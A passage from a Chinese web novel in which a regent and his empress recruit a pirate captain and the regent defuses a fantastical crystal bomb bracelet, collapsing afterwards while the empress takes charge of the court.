难道真的只是为了所谓的“净化世界”? 还是在他们的背后还隐藏着什么更加惊天动地的巨大阴谋? 一时间。 无数个念头在林臻的脑海中疯狂地闪过。 让他感觉一阵阵地头皮发麻。 他第一次感觉到了一种发自灵魂深处的无力感。 一种面对未知和庞然大物时的深深的无力感。 慕容嫣看着他那变幻不定的凝重脸色。 心中也是猛地一沉! 她认识他这么久。 还从未见过他如此失态的模样。 就算是当初在面对孔志谦那水淹长安的最终杀招时。 他也没有像现在这样凝重过。 到底是发生了什么事? 能让他都感到如此棘手? “夫君怎么了?” 她走上前轻轻地握住了他那因为用力过度而指节泛白的大手。 声音里充满了无法掩饰的担忧。 林臻感觉到手心传来的那熟悉的温暖。 那颗因为震惊和凝重而变得有些冰冷的心。 才稍稍安定了下来。 他转过头看着自己那正一脸担忧地望着自己的小娇妻。 脸上挤出了一个比哭还难看的笑容。 “嫣儿我们可能有大麻烦了。” 他将自己关于“虚无党”的猜测原原本本地告诉了她。 慕容嫣听完整个人都愣在了那里。 她的脸上血色瞬间褪尽变得一片煞白。 “虚无党”? 孔志谦的同党? 遍布整个世界的巨大阴谋? 这……这怎么可能?! 第1184章 敌人的敌人就是朋友 一股比之前听到“东印度公司”时还要强烈百倍的寒意。 瞬间从她的脚底板直冲天灵盖! 她原本以为,他们最大的敌人只是那些来自于西方的船坚炮利的殖民者。 可她万万没有想到。 在这些看得见的敌人背后。 竟然还隐藏着一个如此庞大如此神秘又如此邪恶的跨国恐怖组织! 这已经不是简单的国与国之间的战争了。 这是一场文明与野蛮秩序与混乱创造与毁灭之间的终极对决! 此刻的她依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料在这一刻,仿佛变成了一片被无边黑暗所笼罩的冰冷深渊! 充满了一种前所未有的巨大危机感! 那只用真金线绣成的擎天巨凤,也仿佛感受到了这来自另一个维度的降维打击! 凤目之中迸发出了前所未有的,充满了凝重与决绝的冰冷杀意! 仿佛在说无论是谁胆敢威胁到它所守护的这片土地。 它都将不惜一切代价将其彻底撕碎! 那长达五丈的墨金色苏锦拖尾,在甲板上被狂暴的海风吹得如同黑色的怒涛一般疯狂翻滚! 那华贵的凌乱,在这一刻不再是慵懒,而是一种要与整个世界的黑暗为敌的滔天怒火! “夫君你……” 许久慕容嫣才从巨大的震撼中回过神来。 她的声音都在发抖。 “你说的都是真的吗?” “我希望不是。” 林臻苦笑了一声。 “但种种迹象表明。” “我的这个猜测恐怕八九不离十。” “那……那我们现在该怎么办?” 慕容嫣彻底慌了。 她第一次感觉到了什么叫真正的束手无策。 面对这样一个隐藏在世界暗面实力深不可测的庞然大物。 她引以为傲的所有智慧和谋略都仿佛失去了作用。 “别怕。” 林臻感觉到怀中人儿的颤抖。 连忙收紧了手臂用自己的体温去温暖她那冰冷的身体。 “有我呢。” 他的声音依旧沉稳依旧有力。 像一剂强心针瞬间便让慕容嫣那颗慌乱的心稍稍安定了下来。 她抬起头看着他那双在阳光下依旧锐利如鹰隼的眼睛。 “夫君你……你有办法了?” “还没。” 林臻摇了摇头。 但眼中却没有半分的慌乱。 只有一片冰冷的如同机器一般的冷静。 “但有一点我很确定。” 他看着伊丽莎白那双充满了希望的蓝色眼眸。 一字一句地说道。 “敌人的敌人就是朋友。” “伊丽莎白船长,你的这个交易。” “我们做了!” “你……你们答应了?!” 伊丽莎白听到林臻那斩钉截铁的回答。 整个人都傻了。 她呆呆地看着眼前这个,刚刚还对自己喊打喊杀的男人。 那双蓝宝石般的眼眸之中充满了难以置信的狂喜! 她原本以为自己还要再费一番唇舌。 甚至可能还要付出更大的代价。 才能说服这对精明得如同狐狸一般的东方帝后。 可她万万没有想到。 他们竟然如此干脆利落地就答应了! “王……王爷殿下……您……” 她激动得有些语无伦次。 “您……您说的都是真的吗?” “君无戏言。” 林臻淡淡地说道。 “不过我们也有我们的条件。” “您请说!” 伊丽莎白连忙说道。 “只要我能做到的!” “就算是上刀山下火海我也在所不辞!” 她知道天下没有白吃的午餐。 想要得到这对强大帝后的帮助。 她也必须付出相应的代价。 “很好。” 林臻满意地点了点头。 他喜欢跟这种聪明又上道的女人打交道。 “我们的条件也很简单。” 他看着她一字一句地说道。 “第一从今天起你和你的‘黑珍珠号’以及你麾下所有的海盗船员。” “都必须宣誓效忠我大乾帝国!” “正式加入我们即将成立的‘大乾皇家海军’!” “成为我们征服星辰大海的第一支先锋舰队!” “什么?!” 伊丽莎白闻言脸色猛地一变! 让她和她的船员宣誓效忠? 加入大乾的海军? 这……这不就等于让她从一个自由自在的海盗女王。 变成他们大乾朝廷的一条走狗吗?! 她伊丽莎白·斯旺! 可是加勒比海最骄傲最自由的女王! 她怎么可能向任何人俯首称臣?! “怎么?不愿意?” 林臻看着她那变幻不定的脸色嘴角勾起了一抹玩味的笑容。 “不愿意也行。” “那我们的交易就此作罢。” “你可以继续做,你那自由自在的海盗女王。” “然后等着被巴博萨和东印度公司追杀到天涯海角。” “最后再被他们抓住折磨致死。” “或者……” 他的目光落在了她手腕上那个,闪烁着诡异红芒的黑色水晶手环上。 “等着巴博萨那个叛徒哪天心情不好。” “轻轻地捏碎他手中的另一个水晶。” “然后‘砰’的一声。” “你就从这个世界上彻底烟消云散。” 林臻的每一句话都像是一把锋利的刀子。 狠狠地扎在伊丽莎白的心上。 让她那张美艳的俏脸瞬间变得一片煞白。 她知道这个男人说的都是真的。 她所谓的自由。 在绝对的实力和生死的威胁面前。 显得是那么的可笑和不堪一击。 她根本没有选择的余地。 “我……” 她咬着牙那双蓝色的眼眸之中,闪烁着屈辱不甘和深深的挣扎。 许久。 她才仿佛被抽去了所有的力气一般。 缓缓地低下了她那高傲的头颅。 “我……愿意。” 她用一种几不可闻的颤抖的声音说道。 “很好。” 林臻满意地点了点头。 他知道自己已经成功驯服了这匹,来自遥远西方的烈马。 “至于第二个条件。” 他的声音变得有些促狭。 “那就是从今天起。” “你伊丽莎白·斯旺将不再是什么海盗女王。” “而是我林臻的私人秘书!” “和我们家皇后陛下的贴身侍女!” “专门负责教导我们未来的小太子或者小公主。” “学习你们西方的语言和航海知识。” “你可愿意?” “什……什么?!” 伊丽莎白闻言再一次傻了。 她抬起头一脸难以置信地,看着眼前这个正一脸坏笑的男人。 让她当他的私人秘书? 和皇后陛下的贴身侍女? 还要教他们未来的孩子? 这……这是什么神仙操作?! 第1185章 随时都能引爆的装置 他难道不知道她可是杀人不眨眼的海盗女王吗? 他就不怕她会教坏他们的孩子? 或者对他和他的皇后图谋不轨吗? 他为什么会如此相信她? 他疯了吧? 而慕容嫣听到林臻这个同样是天马行空的安排。 也是微微一愣。 但她很快便明白了自己夫君的深意。 她知道他这么做。 一是为了,将伊丽莎白这个极度危险又极具价值的人才,牢牢地绑在他们的身边便于监视和掌控。 二也是为了,让她能有一个光明正大的留在大乾的身份。 不至于被那些顽固的朝臣当成异类和妖女来排挤。 三更是为了,他们那还未出世的孩子。 他是想让他们的孩子从一出生,就拥有最开阔的国际视野。 和最顶尖的航海知识。 为他们未来真正的征服星辰大海,打下最坚实的基础! 这个男人总是能想得比她更深更远。 想到这里。 慕容嫣的心中又是一阵甜蜜和骄傲。 她看着那个还跪在地上一脸懵懂和不知所措的金发美女。 脸上露出了一个温和的笑容。 “斯旺船长哦不。” “以后应该叫你伊丽莎白妹妹了。” 她走上前亲自将她从地上扶了起来。 “以后你就是我们自己人了。” “我们不会亏待你的。” 伊丽莎白看着眼前这位向她伸出友谊之手的东方女皇。 听着她那温和而又充满善意的话语。 那颗因为背叛和仇恨而早已变得冰冷而又坚硬的心。 在这一刻竟然微微地融化了。 一股从未有过的温暖和归属感。 瞬间涌上了她的心头。 她知道。 从这一刻起。 她这个在海上漂泊了半生的孤魂野鬼。 终于找到了自己最终的归宿。 ...... 广州行宫,书房之内。 气氛远比在“黑珍珠号”的甲板上时,要凝重得多。 林臻、慕容嫣,和刚刚才宣誓效忠的伊丽莎白,三人相对而坐。 谁也没有说话。 林臻的手指,有节奏地敲击着桌面,目光则死死地锁定在伊丽莎白手腕上那个,闪烁着诡异红芒的黑色水晶手环上。 “恶魔的契约……” 他低声地重复着这个名字,眼中闪烁着旁人难以读懂的复杂光芒。 “伊丽莎白,你确定这东西只要巴博萨愿意,随时都能引爆?” “是的,王爷殿下。”伊丽莎白一想到这个,那张美艳的俏脸上便忍不住浮现出一抹深深的恐惧。 “三年前,我亲眼看到,一个不听话的船员,就是被巴博萨用这种方式,在瞬间,炸成了一团血雾……” “那他引爆它,需要什么条件吗?比如距离?或者某种特殊的仪式?” 林臻又追问道。 这是他现在最关心的问题。 如果这东西可以被无限距离引爆,那麻烦可就真的大了。 那意味着,只要巴博萨那个混蛋还活着,伊丽莎白就永远都只是一个,随时可能被引爆的定时炸弹。 而他林臻,绝不会允许这样一个不稳定的因素,长时间地待在自己和嫣儿的身边。 “这个……我也不知道。”伊丽莎白有些沮丧地摇了摇头。 “巴博萨那个叛徒,为人极其狡猾和谨慎。关于这个‘恶魔契约’的核心机密,他从未向任何人透露过。” “不过……”她似乎想起了什么,补充道, “我曾经听他无意中提起过,这东西似乎和月亮有关。每当月圆之夜,这水晶手环上的红光,就会变得异常明亮,我的心脏也会感到一阵阵地刺痛。” “月圆之夜?”林臻的眉头,皱得更紧了。 他想起了孔志谦。 那个疯子,似乎也对某些特定的天象,有着一种近乎病态的痴迷。 比如,他选择在午时三刻,太阳最烈的时候,发动对承天门的袭击。 比如,他留下的那个关于水淹长安的最终计划,也必须是在雨季,而且是百年不遇的特大暴雨时,才能发动。 这帮“虚无党”的疯子,到底在搞什么鬼? 难道他们真的以为,凭借着这些所谓的天时地利,就能战胜一切吗? “夫君,”慕容嫣看着林臻那凝重的脸色,忍不住开口问道,“这东西,跟你在玄武门下拆解的那个,是一样的吗?” 此刻的她,早已没了在甲板上时的从容和镇定。 书房内,只有他们三个。她也无需再维持那女帝的威仪。 她只穿着那件作为唯一寝衣的神凤降世裙,慵懒地靠在林臻的身边,那双美丽的凤眸之中,写满了对他的担忧。 这件华贵的裙子,在书房那略显昏暗的光线下,愈发显得深邃。 那极致玄黑的苏锦底料,仿佛能将所有的光线都吸进去,只有那用无数根真金线绣成的擎天巨凤,还在执着地反射着烛台上的微光。 凤凰的羽翼,从她的肩头一直舒展到地面,那长达五丈的墨金色苏锦拖尾,在光可鉴人的金砖地面上,堆叠成一片充满了慵懒与亲昵的凌乱褶皱,将她和林臻的椅子都包裹了进去,仿佛在为他们隔绝开外界的一切纷扰。 “不一样。”林臻摇了摇头,声音低沉。 “孔志谦那个,更像是一个单纯的,由心跳控制的压力引爆装置。虽然精密,但终究还在可以理解的范畴之内。” “而这个……”他的目光,再次落在了伊丽莎白手腕上的那颗黑色水晶上。“这东西,给我的感觉,更像是一种……我无法理解的,超越了这个时代科技的东西。” “它似乎,不仅仅是通过机械结构来传导信号。它更像是一种……能量的共鸣。” “能量的共鸣?”慕容嫣和伊丽莎白,都听得一头雾水。 “对。”林臻点了点头,他尽量用一种她们能听得懂的语言解释道,“你们可以把它想象成,两块可以相互吸引的磁石。不管它们相隔多远,只要其中一块发生了变化,另一块也一定能感应到。” “而巴博萨手中的那另一颗水晶,和伊丽莎白手上的这颗,就是这样一对,可以相互感应的‘磁石’。” 第1186章 大乾皇家海军的第一任提督 “他只需要,用某种特殊的方法,引爆他手中的那颗。那股爆炸的能量,便能通过这种我们无法理解的‘共鸣’,在瞬间,传递到这里,然后引爆伊丽莎白手上的这颗!” “这……这怎么可能?!”伊丽莎白被林臻这番耸人听闻的推论,给吓得花容失色。“隔着万里之遥,引爆一颗水晶?这……这是神才能做到的事情吧?!” “或许在他们‘虚无党’看来,他们自己就是神吧。”林臻冷笑了一声。 他虽然也觉得这事很玄乎,很不可思议。 但他那来自于后世的灵魂,却让他隐隐约生出一种直觉。 量子纠缠。 这个在他那个时代,都还处于理论阶段的尖端物理学概念,竟然以这样一种诡异而又邪恶的方式,出现在了这个时代。 这个世界,真是越来越疯狂了。 “那……那我们现在该怎么办?”慕容嫣的心,彻底沉到了谷底。“难道就真的一点办法都没有了吗?” “办法当然有。”林臻的眼中,却突然闪过了一丝自信的光芒。 他看着伊丽莎白,一字一句地说道:“既然他们能造出这种东西。” “那我们自然也就能拆了它!” 林臻这句自信满满的话,让慕容嫣和伊丽莎白,都愣住了。 拆了它? 说得倒是轻巧。 这东西可是连林臻自己都承认,是超越了这个时代科技的,近乎于“神迹”的玩意儿。 怎么可能说拆就拆? “夫君,你……你不是在开玩笑吧?”慕容嫣有些不确定地问道。她真怕这个男人是为了安慰她,才故意说这种大话。 “当然不是开玩笑。”林臻看着她那担忧的眼神,笑着捏了捏她的脸颊,“你忘了你夫君我是谁了吗?我可是这个世界上,最懂机关术的人。” “孔志谦那个比这个还要复杂百倍的‘九宫连环锁’,不也照样被我给解开了吗?” “这个‘恶魔契约’,虽然原理上更玄乎一些。但万变不离其宗。只要是人造的东西,就一定有它的破绽和规律可循。” “我需要的只是时间,和一些必要的工具。” 林臻的这番话,充满了强大的自信和感染力。 伊丽莎白看着他,那双蓝色的眼眸之中,瞬间便迸发出了无比璀璨的光芒! 她感觉自己,好像在无边的黑暗之中,看到了一丝希望的曙光。 “王……王爷殿下……”她的声音都在发抖,“您……您真的有办法,解除我手上的这个诅咒?” “百分之百的把握,我不敢说。”林臻很诚实地摇了摇头,“但至少,有七成。” 七成! 这个数字,对早已心如死灰的伊丽莎白来说,简直不亚于天籁之音! 她“噗通”一声,又一次跪倒在地,激动得泪流满面。 “王爷殿下!如果您真的能救我脱离苦海!” “我伊丽莎白·斯旺,愿为您当牛做马,永生永世,效犬马之劳!” “行了行了,别动不动就下跪。”林臻有些无奈地将她从地上扶了起来,“你现在可是我大乾皇家海军的第一任提督,也是我未来孩儿的预备老师。以后在我面前,不必行此大礼。” 他又转头看向慕容嫣,笑着说道:“我的皇后陛下,看来我们这次的江南之行,得提前结束了。” 慕容嫣闻言,虽然心里有些小小的失落,但也知道,事情的轻重缓急。 “好,都听你的。”她点了点头,声音温柔而又坚定。“我们即刻启程,返回长安!” “广州这边的事,就交给广州知府去办。我相信,有那一百万两黄金的悬赏在,用不了多久,我们想要的船和人才,就会自己送上门来的。” “嗯。”林臻点了点头。 他知道,自己这位小娇妻,虽然有时候会有些小女儿家的情态,但一旦到了关键时刻,她那杀伐决断的帝王本色,便会立刻显现出来。 这才是他最爱,也最欣赏她的地方。 …… 因为伊丽莎白手腕上那个“恶魔契约”的存在,林臻和慕容嫣不得不提前结束了他们的江南“蜜月之旅”。 车队星夜兼程,一路北上。 仅仅十日之后,便再次返回了那座雄伟壮丽的帝都——长安。 一回到皇宫,林臻甚至都来不及跟慕容嫣温存片刻。 便立刻将自己,关进了工部下辖的,那个专门用来研发各种“黑科技”的秘密工坊里。 同时,他也将伊丽莎白,这个最重要的“研究样本”,给一并带了进去。 并且下达了死命令。 在他研究出破解之法前,任何人,不得入内打扰! 栖凤阁内。 慕容嫣一个人,孤零零地坐在那张宽大的凤榻之上。 她知道,林臻这么做,是为了她,为了他们未来的孩子,为了整个大乾的安危。 但她的心里,却依旧是空落落的。 她真的好想他。 哪怕只是,安安静静地待在他的身边,看着他工作的样子,她也心满意足了。 可是她不能。 她是大乾的女皇帝。 她不能因为自己的儿女私情,而去打扰他,去影响他。 她能做的只有在后方,默默地支持他,为他处理好所有他无暇顾及的政务。 为他守好这个,他们共同的家。 想到这里,慕容嫣的眼中,那丝因为思念而生出的柔弱,瞬间便被坚毅所取代。 她深吸一口气,从凤榻上站起身来,对着殿外,沉声说道。 “来人!” “传朕的旨意!” “召户部尚书周兴,工部尚书李格,吏部尚书王安石,入宫觐见!” “朕要和他们,商议一下,关于成立‘大乾皇家银行’和‘廉政公署’的具体章程!” 她知道,从这一刻起,她又得一个人撑起这片天了。 …… 工部的秘密工坊之内。 气氛凝重到了极点。 林臻正坐在一张巨大的工作台前。 他的面前,摆放着各种各样,他让工部连夜赶制出来的,奇形怪状的工具。 有比头发丝还细的,特制金丝探针。 有可以放大数十倍的,水晶透镜。 还有一些,连工部的那些老工匠们,都叫不出名字的,他自己亲手画图打造的,古怪仪器。 而他的对面,则坐着一脸紧张和忐忑的,伊丽莎白。 她的右手,被一个特制的,由玄铁和软木制成的固定器,牢牢地固定在了工作台上。 手腕上那个闪烁着诡异红芒的黑色水晶手环,在工坊内那明亮的烛光下,显得格外的妖异和刺眼。 “准备好了吗?”林臻看着她,声音平静,却带着一股不容置疑的力量。 “准……准备好了……” 第1187章 在阎王爷的眼皮子底下抢人! 伊丽莎白的声音,都在发抖。 她虽然是加勒比海最天不怕地不怕的海盗女王。 但一想到,自己等一下,就要把自己的小命,完全交到眼前这个男人的手里。 她心里还是忍不住一阵阵地发毛。 “别怕。”林臻看出了她的紧张,开口安慰道,“相信我。” 他的声音,仿佛带着一种奇特的魔力。 瞬间便让伊丽莎白那颗,七上八下的心,稍稍安定了下来。 她看着眼前这个,正一脸专注地,调试着手中那些古怪仪器的男人。 那双蓝色的眼眸之中,除了紧张,更多的是一种,难以言喻的好奇和期待。 她真的很好奇。 这个来自于东方的,神秘而又强大的男人。 到底会用什么样的方式,来破解这个,困扰了她整整三年的,来自地狱的诅咒。 “我要开始了。”林臻没有再废话。 他拿起那块,可以放大数十倍的水晶透镜。 开始仔仔细细地,观察起了那颗,只有拇指大小的黑色菱形水晶。 在放大了数十倍之后。 水晶内部那,如同星辰一般,繁复而又精密的结构,便清晰地呈现在了他的眼前。 那是由无数根,比头发丝还要细上百倍的,不知名金属丝线,所构成的一个,极其复杂的立体网络。 而在这些网络的正中央。 则悬浮着一颗,只有米粒大小的,闪烁着微弱红光的,核心能量源。 “找到了。”林臻的眼中,闪过一丝兴奋的光芒。 他知道,这颗米粒大小的能量源,就是整个“恶魔契约”的,命门所在! 只要能,在不触动周围那些,密密麻麻的引爆线路的情况下,将它,从这个立体网络中,安全地取出来。 那这个所谓的“恶魔契约”,便会不攻自破! 但这,又谈何容易? 这简直就像是,在一颗随时可能爆炸的炸弹上,进行一场,最精密的外科手术! 其难度,比他上次在玄武门下,拆解那个“九宫连环锁”,还要高上十倍!百倍! “呼——” 林臻深吸一口气,强行让自己的心,彻底地冷静下来。 他知道,接下来的每一步,都关系着伊丽莎白的生死。 也关系着,他能否,从这个“恶魔契约”中,窥探到“虚无党”那超越时代的科技秘密。 他缓缓地,从工具盘里,拿起了一根,由他亲手打造的,细如牛毛的,特制金丝探针。 然后他将自己全身的内力,缓缓地运至指尖。 那只握着探针的手,在这一刻,变得比磐石还要稳。 没有一丝一毫的,颤抖。 然后,他动了。 他手中的那根金丝探针,如同拥有了生命一般。 以一种,肉眼几乎无法捕捉的速度和精度。 闪电般地,刺入了那颗黑色水晶的内部! 探针刺入水晶的瞬间,伊丽莎白只觉得手腕上传来一阵冰凉刺骨的寒意,她下意识地想要抽回手,却被林臻那如同铁钳一般的大手死死按住。 “别动!” 林臻的声音低沉而又充满了不容置疑的威严,他的额头上已经渗出了一层细密的汗珠,眼睛则一眨不眨地,死死盯着那水晶透镜下的微观世界。 那是一个,凡人根本无法想象的,充满了精密与死亡之美的世界。 无数根比蛛丝还要纤细的金属线路,纵横交错,构成了一个复杂到令人头皮发麻的立体迷宫。 而他手中的那根金丝探针,此刻就如同一个最顶尖的舞者,正在这个死亡迷宫之中,进行着一场最惊心动魄的舞蹈。 它必须,在不触碰到任何一根引爆线路的情况下,精准地绕过层层的阻碍,最终,抵达那个位于迷宫最中心的,米粒大小的,核心能量源。 这其中的难度,已经完全超出了人类所能理解的范畴。 这不仅仅是对技巧和眼力的极致考验。 更是对心神和意志的终极磨砺! 时间,在这一刻仿佛彻底凝固了。 整个工坊之内,安静得落针可闻。 只有伊丽莎白那因为极度的紧张和恐惧,而变得越来越急促的心跳声,和林臻那沉稳得如同山岳一般的呼吸声。 慕容嫣虽然不在场,但她的心,却仿佛也通过某种奇妙的感应,与这里紧紧地联系在了一起。 她坐在栖凤阁的御案之后,手里虽然拿着一份来自于户部的奏折,但那双美丽的凤眸,却早已失去了焦距,只是呆呆地望着工坊的方向。 她不知道,自己到底在这里坐了多久。 一个时辰? 两个时辰? 还是更久? 她只知道,当殿外传来第一声鸡鸣,当清晨的第一缕微光,透过窗棂,照进这间空旷而又冰冷的寝殿时。 她那颗悬了一整夜的心,已经提到了嗓子眼。 成功了吗? 还是……失败了? 她不敢再想下去。 …… 工坊之内。 林臻的额头上,早已是大汗淋漓。 他那张英俊的脸,也因为长时间的高度精神集中,而变得苍白如纸。 但他那只握着探针的手,却依旧是那么的稳。 稳得,就像是生长在岩石上的一棵万年青松。 终于! 在经历了长达数个时辰的,漫长而又煎熬的“穿针引线”之后。 那根细如牛毛的金丝探针,终于有惊无险地,绕过了最后一层引爆线路。 成功地,抵达了那个位于迷宫最中心的,米粒大小的,核心能量源! “呼——” 林臻重重地舒了一口气,只觉得自己全身的力气,都快要被抽空了。 但他知道,现在还不是放松的时候。 因为,最关键,也是最危险的一步,才刚刚开始。 他要做的,是在一瞬间用探针的尖端,破坏掉那个能量源的内部结构。 让它在瞬间,失去所有的能量。 但同时,又不能让这股能量因为瞬间的失控而产生剧烈的爆炸! 这其中的力道和时机的把握,必须精准到千分之一,甚至是万分之一息! 多一分则水晶引爆,两人同归于尽。 少一分则能量源无法被彻底摧毁,前功尽弃。 这简直就是,在刀尖上跳舞! 在阎王爷的眼皮子底下抢人! “伊丽莎白,”林臻的声音,沙哑得不成样子,“接下来,可能会有点疼,你忍着点。” “王……王爷殿下,您……您尽管来吧!”伊丽莎白咬着牙,那张美艳的俏脸上,写满了决绝。“就算是死,我也认了!能死在您的手里,总比死在巴博萨那个叛徒的手里要强!” “说什么胡话。”林臻闻言,却是笑了。“我可没打算,让你这么一个千娇百媚的大美人,就这么香消玉殒了。” “你还得,留着你的命,去给我未来的孩儿当老师呢。” 第1188章 给我破! 他这句充满了调侃意味的话,让原本紧张到极点的气氛,稍稍缓和了一些。 伊丽莎白看着他那张,虽然疲惫,却依旧充满了自信的笑脸。 那颗原本已经提到嗓子眼的心,也奇迹般地,安定了下来。 她知道,这个男人一定能创造奇迹! “我要开始了。”林臻没有再废话。 他深吸一口气,将自己那早已是强弩之末的内力,再一次也是最后一次毫无保留地凝聚到了指尖! 然后,他手中的那根金丝探针,猛地一震! “嗡——” 一声,只有他才能听到的,极其轻微的,能量共鸣声,骤然响起! 紧接着! 那颗米粒大小的核心能量源,在探针的精准刺激下,开始以一种极其诡异的频率,高速地,震动了起来! 而伊丽莎白手腕上那颗,原本还在闪烁着诡异红芒的黑色水晶,在这一刻,也仿佛是感受到了什么一般。 猛地,剧烈闪烁了起来! 红光大盛! 一股充满了毁灭和死亡气息的恐怖能量,开始在水晶的内部,疯狂地,聚集! 不好! 林臻的心,猛地一沉! 他知道,这是那个核心能量源,在被摧毁前的最后反噬! 也是整个“恶魔契约”的自毁程序,被启动的征兆! 他只有不到半息的时间! 一旦超过这个时间,那股聚集起来的恐怖能量,便会彻底失控! 届时,别说是伊丽莎白了,就连他自己和整个工坊,都会在瞬间被炸成一片飞灰! 生死只在一念之间! 林臻的眼中,瞬间迸发出了骇人的,冰冷的杀意! 他再也没有任何的犹豫! 将自己那早已超越了人类极限的,精神力和意志力,在这一刻,燃烧到了极致! “给我……破!!!” 他发出了一声,来自于灵魂深处的,无声的怒吼! 那根细如牛毛的金丝探针,在他的极限操控之下,化作了一道,根本无法用任何语言来形容的,金色的闪电! 以一种超越了时间,超越了空间,超越了因果的神之速度! 精准无比地刺入了那个正在疯狂震动的,核心能量源的最中心! “咔嚓!” 一声,仿佛是来自于另一个维度的,极其清脆的,碎裂声,骤然响起! 那颗米粒大小的核心能量源,在这一瞬间,被林臻的探针从内部彻底地贯穿!粉碎! 而随着它的粉碎。 那颗原本已经红光大盛,即将爆炸的黑色水晶,也仿佛是被人掐住了脖子的公鸡一般。 所有的光芒,在这一瞬间戛然而止! 然后,如同失去了所有生命力的顽石一般,“啪”的一声,从那个黑色的手环上脱落了下来。 掉在了冰冷的工作台上。 成功了! 他又一次成功了! 然而就在林臻那颗紧绷到了极致的心,刚刚准备松懈下来的瞬间。 一股比之前任何一次都更加猛烈的反噬之力,从他的指尖轰然传来! “噗——” 林臻只觉得喉头一甜,猛地一口鲜血,狂喷而出! 他整个人,也像是被抽去了所有的骨头一般,身体一软,便向后直挺挺地倒了下去…… ...... “王爷殿下!” 伊丽莎白被这突如其来的一幕,吓得魂飞魄散! 她想也不想,便一个箭步冲上前,用自己那娇弱而又柔软的身体,接住了林臻那摇摇欲坠的高大身躯。 “王爷殿下!您怎么样?!”她的声音里,充满了无法掩饰的惊慌和恐惧。 她能感觉到,怀里这个男人的身体,冰冷得像一块万年玄冰,没有一丝一毫的温度。 他的呼吸,也变得微弱到了极点,仿佛随时都有可能,彻底断绝。 他的脸色,更是苍白得,像一张透明的纸,没有一丝一毫的血色。 那张总是带着一丝慵懒和不羁的英俊脸庞,此刻却写满了,让人心碎的疲惫和虚弱。 伊丽莎白的心,像是被一只无形的大手,狠狠地揪了一下,疼得她快要无法呼吸。 她知道,这个男人,为了救她,到底付出了多么巨大的代价。 他几乎是,用自己的命,换了她的命! “来人!快来人啊!” “太医!快传太医!” 她再也控制不住自己,用一种近乎于嘶吼的,带着哭腔的声音,对着工坊外疯狂地大喊着。 …… 当慕容嫣得到消息,跌跌撞撞地冲进工坊时。 看到的就是林臻躺在床上,人事不省,而张太医和几个御医,正满头大汗地,围在他的身边,施针的施针,喂药的喂药,忙得不可开交的景象。 她的脑子里,“轰”的一声,瞬间一片空白。 她感觉,自己的整个世界,都在这一瞬间崩塌了。 “夫……夫君……” 她的声音都在发抖,身体也晃了晃,几乎就要瘫倒在地。 幸好,一直守在她身边的鬼影,眼疾手快地扶住了她。 “娘娘!您……您别急!王爷他……他吉人自有天相,一定不会有事的!”鬼影的声音,也同样带着浓浓的担忧和沙哑。 慕容嫣没有理会他。 她推开鬼影,一步一步地如同行尸走肉一般,走到了林臻的床边。 她看着床上那个,双目紧闭,面无血色,仿佛已经失去了所有生命气息的男人。 眼泪,如同决了堤的洪水一般,瞬间便模糊了她的双眼。 她伸出那只同样因为担忧,而变得冰冷颤抖的手,轻轻地抚摸着他那张她爱入骨髓的脸。 “夫君……” “你醒醒啊……” “你不是答应过我,要平安回来的吗?” “你不是答应过我,要陪我去看江南的小桥流水,东海的潮起潮落吗?” “你不是答应过我,要陪着我,看着我们的孩子,长大成人吗?” “你这个骗子……” “你快醒醒啊……” 她趴在他的胸口,放声大哭,哭得撕心裂肺,肝肠寸断。 此刻的她,不再是那个高高在上的,杀伐决断的女皇帝。 她只是一个,即将失去自己全世界的可怜小女人。 她身上那件,作为唯一寝衣的神凤降世裙,也仿佛感受到了它主人那如同天塌地陷一般的无尽的悲伤。 那极致玄黑的苏锦底料在这一刻,仿佛变成了一片深不见底的,充满了绝望和死寂的黑色深渊。 要将这世间所有的光明和希望,都彻底吞噬。 那只用真金线绣成的擎天巨凤,也仿佛失去了所有的生命力,凤目之中,噙满了晶莹的泪光,充满了无尽的哀伤。 那长达五丈的墨金色苏锦拖尾,凌乱地,堆叠在冰冷的金砖地面上,像一片被死亡阴影所笼罩的,破碎的,黑金色梦境。 那华贵的凌乱之中,充满了令人心碎的绝望。 第1189章 陛下节哀啊 “陛……陛下……”一旁的张太医,看着她那悲痛欲绝的模样,也是于心不忍,连忙开口劝道,“陛下,您……您节哀……哦不,您先别急。” “王爷他……他只是因为,心神耗损过度,导致气血逆行,暂时陷入了昏迷。” “只要……只要能让他,好好地静养一段时间,应该……应该就无大碍了。” 张太医的这番话,虽然说得有些磕磕巴巴,但却像是一剂强心针,瞬间,便让那已经陷入了无边黑暗的慕容嫣,看到了一丝希望的曙光! “真……真的吗?”她猛地抬起头,那双早已被泪水模糊的凤眸,死死地盯着张太医。“你没骗我?夫君他……他真的,还能醒过来?” “老臣……老臣不敢欺瞒陛下。”张太医连忙说道,“只是……王爷这次,伤及了根本。就算能醒过来,恐怕……恐怕也需要,很长一段时间的调养。而且,这期间,绝不能再动用内力,也绝不能再操劳费神了。” “我不管!”慕容嫣的声音,斩钉截铁。“只要他能醒过来!别说是不让他操劳费神了!就算是要我的命,我也在所不惜!” 她转过头,再次看向床上那个,依旧昏迷不醒的男人。 眼中,闪过了一丝,前所未有的,坚毅和决绝! “夫君,你放心。” “从今天起,换我来守护你。” “在你醒来之前,这个国家,所有的风雨,都由我一个人来扛!” “不管是那个什么‘东印度公司’,还是那个什么‘虚无党’!” “只要有我慕容嫣嫣在一天!” “就休想,再伤害你一根汗毛!” …… 林臻的突然昏迷,像一场巨大的地震,瞬间在整个大乾的朝堂之上,掀起了滔天巨浪。 所有人都没想到,他们那个如同神明一般,战无不胜的摄政王殿下,竟然会倒下。 一时间,各种各样的猜测和谣言,开始在长安城的上空,悄然弥漫。 有的人说,王爷是为了破解那个西域妖女身上的诅咒,才耗尽了心神。 有的人说,王爷是在与那“虚无党”的隔空斗法中,受了重伤。 甚至还有人说,王爷这是功高震主,遭了天谴。 朝堂之上,也开始出现了一些不和谐的声音。 一些之前被林臻和慕容嫣用铁血手段强行压下去的世家门阀余孽,和那些心怀不轨的野心家们,开始蠢蠢欲动。 他们以为,林臻倒下了,他们的机会就来了。 然而,他们都错估了一个人。 那就是慕容嫣。 他们只看到了她在林臻的怀里,是一个娇媚柔弱的小女人。 却忘了,她同样也是一位杀伐决断,手腕通天的铁血女帝! 在林臻昏迷的第二天。 慕容嫣便以一种所有人都始料未及的,雷霆之势,出现在了太极殿的早朝之上。 她依旧穿着那身神凤降世裙,只是在外面,罩上了一件比以往任何时候都更加庄重更加肃杀的黑金色霞帔。 她端坐在那高高的凤椅之上,那张绝美的俏脸,如同万年不化的寒冰,没有一丝一毫的表情。 